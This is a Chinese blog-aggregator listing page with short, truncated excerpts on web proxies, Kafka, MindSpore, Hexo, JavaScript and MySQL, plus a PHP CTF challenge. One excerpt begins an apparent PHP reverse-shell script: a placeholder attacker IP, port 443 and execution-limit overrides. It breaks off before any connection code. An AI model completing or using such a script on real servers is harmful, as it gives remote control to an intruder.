设置请求代理:.umirc中设置。可以将当前访问域名的请求转发到指定域名下。用于跨域代理开发,开发完后放入指定服务器中。 //请求代理 proxy: { '/api': { target: 'http://localhost:3000', changeOrigin: true, pathRewrit ...
分类:
Web程序 时间:
2021-07-14 18:40:58
阅读次数:
0
数据积压指的是消费者因为一些外部的IO、一些比较耗时的操作(full GC--stop the world),就会造成消息在partition中一直存在得不到消费,就会产生数据积压。 所以需要监控系统(kafka的监控系统Eagle),如果出现这种情况,需要尽快处理,虽然后续的spark strea ...
分类:
其他好文 时间:
2021-07-13 17:40:18
阅读次数:
0
本文参考内容: https://www.mindspore.cn/doc/programming_guide/zh-CN/r1.2/advanced_usage_of_checkpoint.html?highlight=save_checkpoint 有官方文档内容可知,我们对网络参数的保存不仅可以 ...
分类:
其他好文 时间:
2021-07-12 18:27:04
阅读次数:
0
@echo off set "PATH=%~dp0bin;%path%" echo. echo 当前配置 echo. bash --login -c "echo mirror=`apt-cyg mirror`;echo cache=`apt-cyg cache`;echo;apt-cyg proxy ...
Hexo部署过程中可能会出现错误 fatal: unable to access 'https://github.com/a956551943/a956551943.github.io/': Encountered end of file FATAL { err: Error: Spawn fail ...
分类:
其他好文 时间:
2021-07-12 17:48:17
阅读次数:
0
普通属性直接赋值,高级属性可以根据你的业务需要进行赋值, /* 定义高级属性 */ const user = { _age: 0 } //这种方式定义的age无法存储数,只是对某个变量成员的代理,加入get和set的目是让你的属性具有 //了行为,也就是我们可以再访问或者是设置属性的时候,添加更多的 ...
分类:
其他好文 时间:
2021-07-05 19:07:14
阅读次数:
0
<?php $info = ""; $req = []; $flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; ini_set("display_error", false); //为一个配置选项设置值 error_reporting(0); //关闭所有PHP错 ...
分类:
Web程序 时间:
2021-07-05 19:06:03
阅读次数:
0
<?php error_reporting (E_ERROR); ignore_user_abort(true); ini_set('max_execution_time',0); $ipaddr = 'xxx.xxx.xxx.xxx'; $port = '443'; $msg = php_unam ...
本博客记录了IDEA中使用Springboot框架搭建一个web+mysql项目的详细过程,适合springboot初学者学习。 ...
分类:
数据库 时间:
2021-07-05 18:53:16
阅读次数:
0
在购买服务器且安装了Mysql之后,并且安全组和防火墙都开放了端口,但是还是无法连接 原因就是mysql设置的就是只有本机可以连接 解决办法 # 1. 登录服务器,在服务器上登录mysql # 2. 使用user这个库 use user; # 3. 查看root账户 select host,user ...
分类:
数据库 时间:
2021-07-05 18:40:36
阅读次数:
0